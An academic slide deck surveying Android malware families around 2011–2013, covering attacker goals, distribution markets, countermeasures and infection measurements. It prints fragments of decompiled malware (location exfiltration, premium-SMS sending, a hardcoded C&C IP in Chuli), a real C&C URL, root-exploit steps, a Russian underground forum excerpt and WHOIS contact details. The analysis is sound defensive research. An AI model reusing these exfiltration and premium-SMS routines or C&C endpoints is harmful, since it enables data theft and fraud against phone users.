Malicious Android Apps

Overview, Status and Dilemmas

Federico Maggi - http://maggi.cc
1,260 Samples Analyzed (2012)

Manual analysis of samples by Yajin Zhou & Xuxian Jiang

- 36.7% leverage root-level exploits
- 90% turn devices into bots
- 45.3% dial/text premium numbers in background
- 51.1% harvest user information

Other goods

- encrypted root-level exploit or obfuscated C&C address
- dynamic, remote updates
Attackers Goals

- **Steal Sensitive Data**
  - intercept texts or calls
  - steal passwords

- **Turn Devices Into Bots**
  - perform malicious actions
  - gain root privileges

- **Direct Financial Gain**
  - call or text premium numbers
  - steal online banking credentials
ZitMo & SpitMo (2011)

- *Companion* of the famous ZeuS and SpyEye trojans.
- Steal the *mTAN* or *SMS* used for 2-factor authentication.
The attack scheme (1)

www.yourbank.com

username: user
password: ************

INFECTED COMPUTER

$ $ $ $ $ $ $ $ $ $ $ $ $
2-factors authentication (password + secret code)
The attack scheme (2)

www.yourbank.com
username: user
password: ************

ONE TIME SECRET CODE

INFECTIONED COMPUTER

TYPE IN THE ONE TIME SECRET CODE

OK

EXPIRED

TYPE IN THE ONE TIME SECRET CODE
The attack scheme (2)

www.yourbank.com

username: user
password: ************

INFECTED COMPUTER

inject QR code
Luring Users with a QR Code

USERNAME: user
PASSWORD: ************

SCAN TO LOGIN

Login
The attack scheme (3)

www.evil.org/fake-login-app.apk
The attack scheme (4)

www.yourbank.com

username: user
password: ************

ONE TIME SECRET CODE

INFECTED COMPUTER

INFECTED SMARTPHONE

TYPE IN THE ONE TIME SECRET CODE

OK
The attack scheme (5)

FINANCIAL TRANSACTIONS

$ $ $ $ $ $ $

ALERT

THE MALWARE HIDES SMSs FROM THE BANK
Perkele (2013)

- Sold for $1,000 on underground markets/forums
- Development *kit* for bypassing 2-factor authentication
Better than Perkele

Hand of Thief kit (Android port, late 2013) - $950

tip: "[...] best way to infect users: place malware on Google Play"
Нечто о боте и методах распространения

Android бот в первую очередь дополняет троя на установленного на компьютере жертвы.
Одна из задач - получение (скрытия и перехват) SMS с жура для перевода денег, а также скрытие уведомлений от банка. Процедура проводит мобильный бот, для отработки банковских аккаунтов с mTANом и алертами.

1. Распространение через имит (основной вариант)
Через трояна поддержку внедряется инжеект, после чего он заходит на банковский аккаунт. Инжеект срабатывает и холдер пытает установить сертификат (Сертификат - это одна из легенд) безопасности для полноценной работы с банковским аккаунтом.

Один из примеров срабатывания инжеекта под AU bank

Retrospective of Predictions

Source (Trend Micro, Q2 2012)
Prediction vs. Actual Data

Number of Android malware samples

Source (Symantec, October 2013)
The Origin: TapSnake (2010)
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.INTERNET" />

```java
public void onLocationChanged(Location location) {
    Message message = new Message();
    message.obj = location;
    handler.sendMessage(message);
}
```

```java
s = (new StringBuilder(String.valueOf((new StringBuilder(String.valueOf((new StringBuilder(String.valueOf("http://gpsdatapoints.appspot.com/addPoint"))))).setEntity(new UrlEncodedFormEntity(URLEncodedUtils.parse(new URI(s), "UTF-8"))));
```
Malware Distribution

Google Play Store.

Alternative markets.

Underground affiliate programs (growing business).
Alternative Markets (91)

Andapponline  Aptoide  Soc.io  92Apk  AppChina  T Store  Cisco Market
SlideMe  Insydemarket  Android Downloadz  CoolApk  Yandex App Store  Lenovo App Store
AndroidPit  MerkaMarket  Good Ereader  Anzhi Market  Pdassi  Omnitel Apps
AppsZoom  Mobile9  Phoload  EOE Market  Barnes & Noble  TIM Store
ApkSuite  Androidblip  Androidblip  HiApk  Nvidia TegraZone  T-Store
Opera App Store  1Mobile  1Mobile  Nduoa  AppCake  AT&T
Brothersoft  Brophone  Baidu App Store  Handmark  AppCitizen  CNET
Camangi  LG World  D.cn  Appolicious  Appplication
Blackmart Alpha  Handango  Millet App Store  Gfan  Appalicious  Android games room
F-Droid  Mikandi  WhiteApp  Anzhi Market  Appplication
Amazon  Nexva market  Tencent App Gem  Hyper Market  WhiteApp
AndroLib  Yet Another Android Market  No Crappy Apps  AppCity
GetJar  Moborobo  AndroidTapp  AlternativeTo  Appzil
Tablified Market  Yet Another Android Market  Naver NStore
Fetch  Nstore  Olleh Market  wandoujia
DroidDream (2011) - Host Apps

Falling Down
Super Guitar Solo
Super History Eraser
Photo Editor
Super Ringtone Maker
Super Sex Positions
Hot Sexy Video
Chess
Hilton Sex Sound
Screaming Sexy
Japanese Girls
Falling Ball Dodge
Scientific Calculator
Dice Roller
<table>
<thead>
<tr>
<th>Steals</th>
<th>C&amp;C</th>
</tr>
</thead>
<tbody>
<tr>
<td>IMEI</td>
<td><a href="http://184.105.245.17:8080/GMServer/GMServlet">http://184.105.245.17:8080/GMServer/GMServlet</a></td>
</tr>
<tr>
<td>IMSI</td>
<td>exploid root-level exploit.</td>
</tr>
<tr>
<td>device model</td>
<td>Copy of the original public exploit!</td>
</tr>
<tr>
<td>SDK version</td>
<td></td>
</tr>
<tr>
<td>language</td>
<td></td>
</tr>
<tr>
<td>country</td>
<td></td>
</tr>
</tbody>
</table>
DroidDream (2011) - More Details

Downloads 2nd payload.

Installs payload under /system

No icon nor installed application is visible to the user.

Encrypts C&C messages.

zHash uses the same exploit.
DroidDreamLight (2011)

- Massive code refactoring.
- No root exploit.
- Steal same data.
- Receives remote updates.
- Affected 30–120k users.

Image source (Trend Micro)
What the Malware!

Source (Symantec, October 2013)
AndAppOnline

<table>
<thead>
<tr>
<th>Category</th>
<th>Malware %</th>
<th>Goodware %</th>
</tr>
</thead>
<tbody>
<tr>
<td>life / shopping</td>
<td>0.84%</td>
<td>12.78%</td>
</tr>
<tr>
<td>life / entertainment</td>
<td>7.93%</td>
<td>10.86%</td>
</tr>
<tr>
<td>games / arcade</td>
<td>7.93%</td>
<td>13.09%</td>
</tr>
<tr>
<td>business / None</td>
<td>7.93%</td>
<td>13.09%</td>
</tr>
<tr>
<td>games / None</td>
<td>3.03%</td>
<td>5.29%</td>
</tr>
<tr>
<td>life / video</td>
<td>0.24%</td>
<td>4.85%</td>
</tr>
<tr>
<td>life / travel</td>
<td>2.17%</td>
<td>4.85%</td>
</tr>
<tr>
<td>life / None</td>
<td>2.08%</td>
<td>3.52%</td>
</tr>
<tr>
<td>games / action</td>
<td>2.02%</td>
<td>3.52%</td>
</tr>
<tr>
<td>utilities / None</td>
<td>0.93%</td>
<td>3.08%</td>
</tr>
<tr>
<td>games / puzzle</td>
<td>2.64%</td>
<td>4.18%</td>
</tr>
<tr>
<td>multimedia / wallpapers</td>
<td>2.64%</td>
<td>14.83%</td>
</tr>
<tr>
<td>life / books</td>
<td>2.64%</td>
<td>5.38%</td>
</tr>
<tr>
<td>life / health &amp; fitness</td>
<td>2.20%</td>
<td>2.23%</td>
</tr>
<tr>
<td>life / music</td>
<td>2.20%</td>
<td>1.26%</td>
</tr>
<tr>
<td>business / productivity</td>
<td>0.72%</td>
<td>1.76%</td>
</tr>
<tr>
<td>life / sports</td>
<td>1.76%</td>
<td>1.76%</td>
</tr>
<tr>
<td>multimedia / media player</td>
<td>1.76%</td>
<td>1.76%</td>
</tr>
<tr>
<td>games / casino</td>
<td>1.17%</td>
<td>1.76%</td>
</tr>
<tr>
<td>multimedia / None</td>
<td>1.32%</td>
<td>1.32%</td>
</tr>
<tr>
<td>games / adventure</td>
<td>1.32%</td>
<td>1.32%</td>
</tr>
<tr>
<td>utilities / tools</td>
<td>1.32%</td>
<td>3.47%</td>
</tr>
<tr>
<td>life / personalization</td>
<td>1.32%</td>
<td>2.41%</td>
</tr>
<tr>
<td>games / strategy</td>
<td>1.32%</td>
<td>1.32%</td>
</tr>
<tr>
<td>utilities / security</td>
<td>1.32%</td>
<td>1.32%</td>
</tr>
</tbody>
</table>

(our measurement, Nov 2013)
SlideMe

<table>
<thead>
<tr>
<th>Category</th>
<th>Malware %</th>
<th>Goodware %</th>
</tr>
</thead>
<tbody>
<tr>
<td>game / other-24</td>
<td>27.94%</td>
<td>35.70%</td>
</tr>
<tr>
<td>application / entertainment</td>
<td>9.57%</td>
<td>8.86%</td>
</tr>
<tr>
<td>application / tools-utils</td>
<td>4.64%</td>
<td>9.96%</td>
</tr>
<tr>
<td>game / puzzle</td>
<td>4.44%</td>
<td>3.10%</td>
</tr>
<tr>
<td>application / music</td>
<td>4.24%</td>
<td>2.62%</td>
</tr>
<tr>
<td>game / casual</td>
<td>3.85%</td>
<td>1.29%</td>
</tr>
<tr>
<td>application / communications</td>
<td>3.75%</td>
<td>3.57%</td>
</tr>
<tr>
<td>application / lifestyle</td>
<td>3.75%</td>
<td>4.38%</td>
</tr>
<tr>
<td>game / arcade</td>
<td>3.75%</td>
<td>1.01%</td>
</tr>
<tr>
<td>application / education</td>
<td>3.65%</td>
<td>6.32%</td>
</tr>
<tr>
<td>application / publications</td>
<td>2.66%</td>
<td>3.28%</td>
</tr>
<tr>
<td>game / action</td>
<td>2.47%</td>
<td>1.62%</td>
</tr>
<tr>
<td>application / productivity</td>
<td>2.17%</td>
<td>4.27%</td>
</tr>
<tr>
<td>application / other</td>
<td>2.07%</td>
<td>2.35%</td>
</tr>
<tr>
<td>application / travel-locality</td>
<td>2.07%</td>
<td>2.58%</td>
</tr>
<tr>
<td>application / themes</td>
<td>2.07%</td>
<td>6.45%</td>
</tr>
<tr>
<td>application / health-fitness</td>
<td>1.68%</td>
<td>3.28%</td>
</tr>
</tbody>
</table>

(our measurement, Nov 2013)
Plankton (2011)

- Update only some components.
- Silent update, no user participation.
- Payload hosted on Amazon.
- Inspired the AnserverBot family.
Plankton (2011)

Silent update (first family)

Command & Control:

Image source (Sophos)
Countermeasures

- Google Play app vetting
- Install and permission confirmation
- SMS/call blacklisting and quota
- App verify (call home when apps are installed - incl. 3rd party)
- App sandboxing
- SELinux in enforcing mode (Android 4.4)
- AV apps
Blacklist & SMS Limits

CyanogenMod $\geq 10.2$

Blacklist numbers

50 SMS per 30 minute limit
App Sandboxing

User1

App1
Virtual machine
Process1

User2

App2
Virtual machine
Process2

User3

App3
Virtual machine
Process3

...
Apps Must Declare Permissions

![Diagram showing permissions flow from users to applications through virtual machines and processes.]

- **User1**
  - App1 (Virtual machine: Process1)

- **User2**
  - Malicious App (Virtual machine: Process2)

- **User3**
  - App3 (Virtual machine: Process3)

- **Linux kernel**

The diagram illustrates the flow of permissions from users through virtual machines and processes, highlighting the potential risk of a malicious app accessing unauthorized resources.
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_LOGS" />
<uses-permission android:name="android.permission.WAKE_LOCK" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
<uses-permission android:name="android.permission.MODIFY_PHONE_STATE" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permissionINTERNET" />
<uses-permission android:name="android.permission.BLUETOOTH" />
Selective Permissions

Introduced in 4.3.

Users can selectively filter permissions.

That's great!
Google claimed its release was accidental

Removed it in 4.4
Perms: Malware vs. Goodware

No primitives for process auditing
Workarounds (back in the '80s)

*Signature-based* matching (evaded by repackaging).

Scan (limited) portion of the storage.

Send sample to *cloud service* (malware can sniff network).

*Custom kernel* (not market proof).

Require *root privileges* (increases attack surface).
No permissions.
Root the phone.
Loads 3 malicious APKs.
Premium texting.
C&C communication.
Asroot (2011)

*Simple*, standalone app.
Uses *asroot* root exploit.
Not really widespread.
Malware Apps on Google Play

2010 (2)
TapSnake, SMSReplicator

2011 (13)
DroidDream, zHash, DroidDreamLight, Zsone, Plankton
YZHC, SndApps, Zitmo, Asroot, Gone60, DroidKungFu (2)

2012 (bypassing the Google Bouncer)
Work by Jon Oberheide & Charlie Miller @ SummerCon '12
App Verify

100% of devices have sandboxes and permissions.

95% of devices have Verify Apps.

Most devices only install from trusted sources.

<0.5% of app installs from unknown sources receive a warning.

<0.13% of apps from unknown sources are installed after a warning.

<0.001% of installed apps attempt to evade runtime defenses.

<2% of installed apps cause harm and evade defenses.

Countermeasures and Downsides

Google Play app vetting
Permission confirmation
SMS/call blacklisting and quota
App verify
App sandboxing
SELinux in enforcing mode

Few apps made it through it
Unaware users
Must know the numbers
Must know the malware
Root exploits + ask permissions
We now need policies
Application Signing

- No PKI
  - Apps signed with *self-signed* certs
  - **AppIntegrity** proposes a lightweight, neat solution
- Signature *not* checked at *runtime*
  - Can add *new code at runtime* and break the signature
- **MasterKey vulnerability (CVE-2013-4787, Jul 2013)**
Exploited by **Adr/MstrKey-A**

- ...as well as **Skullkey**
- **Signed-unsigned integer values vulnerability (Jul 2013)**
BaseBridge (2011)

- *Asset file* hides the payload.
- Register to *lots of events*.
- Gains *root* privileges via *RATC exploit*.
  - spawn RLIMIT_NPROC-1 processes
  - kill adbd
  - spawn 1 process to race against adbd setuid()-ing
- *Steals* data (e.g., IMEI) + premium *texts*.
BaseBridge (2011)

Academic Measurements

2010–October 2011 [Zhou et al., 2012]
49 families
20–76% detection rate

October 2011 [Vidas et al., 2013]
194 markets facilitate malware distribution
0–32% detection rate (I don't really buy this)
Our Measurements

2–8% of the apps are known malware (Jun-Nov 2013)
Our Measurements

10–20% of the apps are known adware (Jun-Nov 2013)
CarrierIQ (2011) - Not Really Malware

140M devices including Sprint, HTC, Samsung. *Controversial* app used for enhancing "customer experience".

Log *keystrokes*.

Record *calls*.

Store text messages.

Track *location*.
Fake CarrierIQ Detector :-)

Distributes CarrierIQ.
It actually finds IQ if
is there.

Premium texter malware.

http://www.symantec.com/connect/blogs/day-after-year-mobile-malware
Find if *IQ services* are installed.

```java
private void findDmesgStrings()
{
    ArrayList localArrayList = Utils.findInCommandOutput("dmesg", new String[] { "iq.logging", "iq.service", "iq.cadet", "iq.bridge", this.found.put(DetectTest.DMESG, localArrayList);
}
```

Tries to send *premium SMSs* (notice the nested try-catch).

```java
SmsManager localSmsManager = SmsManager.getDefault();
try {
    localSmsManager.sendTextMessage("81168", null, "AT37", null, null);
    try {
        label15: localSmsManager.sendTextMessage("81168", null, "MC49", null, null);
        try {
            label26: localSmsManager.sendTextMessage("81168", null, "SP99", null, null);
            try {
                label37: localSmsManager.sendTextMessage("81168", null, "SP93", null, null);
```
RootSmart (2012)

- 2nd malware w/ GingerBreak exploit (1st was GingerMaster)
- Asks lots of permissions (suspiciously)
  - MOUNT_UNMOUNT_FILESYSTEMS
  - RECEIVE_BOOT_COMPLETED
  - CHANGE_WIFI_STATE
- Suspicious broadcast receiver
  - NEW_OUTGOING_CALL
- Fetches the exploit from obfuscated URL
- Send stolen data to C&C infrastructure
Top 5 authors publish both goodware and known malware.

(Jun-Nov 2013)
Moghava (2012) - Annoying

No monetary gain. Protest intended. Yet, very annoying.

http://www.symantec.com/connect/blogs/androidmoghava-recipe-mayhem
Ruhollah Khomeini

Ayatollah

Ruhollah Mostafavi Musavi Khomeini, known in the West as Ayatollah Khomeini, was an Iranian religious leader and politician, and leader of the 1979 Iranian Revolution which saw the overthrow of Mohammad Reza Pahlavi, the Shah of Iran. Wikipedia
LuckyCat (2012) - Used in APT

1st known used in APT.
SMS initiated: "[...] time to renew data plan [...]
URL with WebKit exploit (this is drive-by)
Track user GPS, steal data.
Naïvely encrypted C&C communication.

Chuli (2012) - Again, in APT

High-profile Tibetan activist email hacked. Used to send malicious APK to other activists. Steals data (SMS, contacts, IMEI, GPS, etc.).

https://www.securelist.com/en/blog/208194186/Android_Trojan_Found_in_Targeted_Attack
public void onCreate() {
    super.onCreate();
    this.hostname = "http://64.78.161.133";
    ComponentName localComponentName = new ComponentName(this, ...)
    try {
        this.nativenumer = getPackageManager().getService(...);
        if (this.nativenumer.equals("phone")) {

            localShare evaporations = getShare(...);
            this.nativenumer = localSharedPreferences.getStro...;
            if ("".equals(this.nativenumer)) {
                Date localDate = new Date();
                this.nativenumer = ("phone" + localDate.getTime());
                localSharedPreferences.edit().putString("native", this.nativenumer).commit();
            }

            send.urlstr = (this.hostname + "/android.php");
            isConnected(getBaseContext());
            Log.("验证码", this.nativenumer);
            if (this.linkflag == true) {
                if (send.sendInfo("create", this.nativenumer)) {
                    IntentFilter localIntentfilter = new IntentFilter("com.google.system.receiver");
                    localIntentfilter.setPriority(2147483647);

                    registerReceiver(new sendReceiver(), localIntentfilter);
                    send.urlstr = (this.hostname + "/data" + this.nativenumer + "/process.php");
                    serviceInit();
                }
            }
        }
    }
}

Registration Service Provided By: SHANGHAI MEICHENG TECHNOLOGY INFORMATION DEVELOPMENT CO., LTD.
Domain Name: DLMDOCUMENTEXCHANGE.COM

Registration Date: 08-Mar-2013
Expiration Date: 08-Mar-2014
Status: LOCKED
The domain registration data indicates the following owner:

Registrant Contact Details:
peng jia (bdoufwke123010@gmail.com)
beijingshiiciaidienquc.d
beijing,100000
CN
Tel. +86.01078456689
Fax. +86.01078456689
Obad (2013) - Sophisticated

Raises the *bar*. Could propagate via Bluetooth and WiFi. First *emulator-aware* malware. *Anti* dynamic *analysis* (corrupted XML)
Anti static analysis (packed instr. + anti decompiling + encrypted strings)
Gains device administration rights to *hides itself*. 
Corrupted XML

No attribute names.

Accepted by smartphones.
Makes sandboxes fail.
Bogus Instructions

Targets specifically the dedexer disassembler.

Prevents automatic repackaging of dex for analysis.

http://joe4mobile.blogspot.com/2013/06/analyzing-obada-aka-most-sophisticated.html
Anti Decompiling

```java
if-nez v4, :cond_0
  move v2, p0
  move v3, p2
:goto_0
  add-int/lit0 p2, p2, 0x1
  add-int/2addr v2, v3
  add-int/lit8 p1, v2, -0x2
:cond_0
  int-to-byte v2, p1
  aput-byte v2, v1, v5
  add-int/lit8 v5, v5, 0x1
  if-lt v5, p0, :cond_1
  const4 v2, 0x0
  invoke-direct {v0, v1, v2}, Ljava/lang/String;-><init>([B)V
  return-object v0
:cond_1
  move v2, p1
  aget-byte v3, v4, p2
  goto :goto_0
:goto_0
  end method
```
Device Admin Privs

Used to administer devices.

Fool the user.


Baseline Features

Steal data.
Remote *update*.
Execute *shell commands*.
C&C communication (hardcoded...).
Mouabad (2013) - Sneaky Dialer

Works when device goes to lock mode.

Stops working right away when the user unlocks the device.

Calls premium numbers located in China.

No sophisticated anti-analysis techniques.
Stels (2013) - Spreads via Botnet

Spreads through *Cutwail botnet* via spam emails.

Vulnerable website to drop PHP script. *PHP script* *fingerprints* the client.

Malicious (non-sophisticated) APK if browser == Android.

*Steals* the usual data.

How Many Infected Devices?

*Damballa & GaTech*

- DNS traffic analysis (2012)
- Mobile devices (0.0009%)
  - 3,492 of 380,537,128
- iOS vs Android

*Kindsight Security Lab*

- Mobile devices
  - 0.50% (Q1)
  - 0.52% (Q2)
- Android devices
  - 1.00% (Q2)
Conclusions

- Many infected apps (hundreds of thousands)
- Low infection rate (0.0009–1.0%)
  - Wide range of uncertainty
  - The ROI per infected device must be high!
- Authors have just started to show what they can do.
http://andrototal.org
@andrototal_org